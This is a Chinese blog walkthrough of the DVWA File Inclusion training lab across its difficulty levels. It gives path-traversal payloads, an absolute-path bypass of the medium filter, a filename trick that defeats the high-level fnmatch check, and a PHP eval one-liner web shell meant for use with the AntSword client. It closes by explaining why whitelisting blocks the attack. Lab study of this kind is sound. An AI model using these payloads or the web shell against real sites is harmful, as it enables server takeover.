当前位置: 首页 > news >正文

dvwa4——File Inclusion

 LOW:

先随便点开一个文件,可以观察到url栏变成这样,说明?page=是dvwa当前关卡用来加载文件的参数

http://10.24.8.35/DVWA/vulnerabilities/fi/?page=file1.php

我们查看源码 ,没有什么过滤,直接尝试访问其他文件

在url栏的page处做一些修改,我们改动page后为如下代码

?page=../../phpinfo.php

../(上级目录指示符号):

从内向外跳,先随便测试一个不存在的文件名,报错,但可以看出我们要查询的目标文件(phpinfo),在dvwa层的目录里,还有两层的距离,所以我们输入两个../


 爆出信息

 说明dvwa文件目录里的可以运行

我们在dvwa文件夹里新建一个测试文件testd1.exe

输入想要的内容然后ctrl-s保存 (这很重要(悲))

在 url 里写代码

ps!:服务器会把我们包含的任何文件作为php代码执行,如果包含有效的代码,执行并返回i结果,如果不是php代码,就直接回显文件内容

?page=../../testd1.txt

回显成功 

现在我们把文件后缀改成php,内容改成php一句话木马,打开中国蚁剑

<?php @eval($_POST['password']);?>

 

MEDIUM:

观察源码:

发现这一关将http://,https://,../,..\ 全部替换为了空格 

个人解决的一点疑问:这里的过滤仅仅针对page的参数,而不是应用于整个url

所以这一关我们把相对路径( ../ )换成绝对路径就行~

http://10.24.15.188/DVWA/vulnerabilities/fi/?page=D:\nginx-1.27.5\html\DVWA\testd1.php

其余爆数据与low一样

HIGH:

查看源码:

用fnmatch函数检查page之后的文件名是否以file开头,或者文件名是否为include

所以我们把文件名改成filedi.php, 其余爆数据与low一样

IMPOSSIBLE:

分析源码:


白名单(whitelist):

与黑名单(Blacklist)相反

  • 黑名单:禁止已知的危险项,放行其他内容(如:过滤 ../ )。

  • 白名单:只允许已知的安全项,拒绝其他所有内容(如:只允许 incude.php)。


所以无论怎么构造,都只能包含这四个文件,无解

❀❀❀ 完结撒花!!!❀❀❀

http://www.lqws.cn/news/67573.html

相关文章:

  • Spring Boot 3.X 下Redis缓存的尝试(二):自动注解实现自动化缓存操作
  • [特殊字符] Python开发革命!uv工具:让环境管理像点外卖一样简单
  • 振动分析师(ISO18436-2)四级能力矩阵 - 简介
  • Arbitrum Stylus 合约实战 :Rust 实现 ERC721
  • 01 Ubuntu20.04下编译QEMU8.2.4,交叉编译32位ARM程序,运行ARM程序的方法
  • JavaWeb预习(jsp)
  • 图论刷题1
  • 29 C 语言内存管理与多文件编程详解:栈区、全局静态区、static 与 extern 深度解析
  • Netty学习example示例
  • webfuture:如何屏蔽后台发文界面的保存为新文章按钮?
  • Linux 基础指令入门指南:解锁命令行的实用密码
  • Uiverse.io:免费UI组件库
  • MySQL:视图+用户管理+访问+连接池原理
  • Linux 系统 Docker Compose 安装
  • 调用蓝耘API打造AI 智能客服系统实践教程
  • 【C#朗读文本DLL动态按钮控件组及按钮事件文本框拖放数据】2022-1-21
  • SpringBoot(六)--- AOP、ThreadLocal
  • Windows 账号管理与安全指南
  • 【软件测试】测试框架(unittest/pytest)
  • 助力活力生活的饮食营养指南
  • 【C语言预处理详解(下)】--#和##运算符,命名约定,命令行定义 ,#undef,条件编译,头文件的包含,嵌套文件包含,其他预处理指令
  • unity开发棋牌游戏
  • Unity + HybirdCLR热更新 入门篇
  • mac安装brew时macos无法信任ruby的解决方法
  • 【Unity】相机 Cameras
  • 【笔记】解决虚拟环境中找不到 chromedriver 的问题
  • 如何自动部署GitLab项目
  • 【黑马程序员uniapp】项目配置、请求函数封装
  • 铁电液晶破局 VR/AR:10000PPI 重构元宇宙显示体验
  • c++泛型编程入门与STL介绍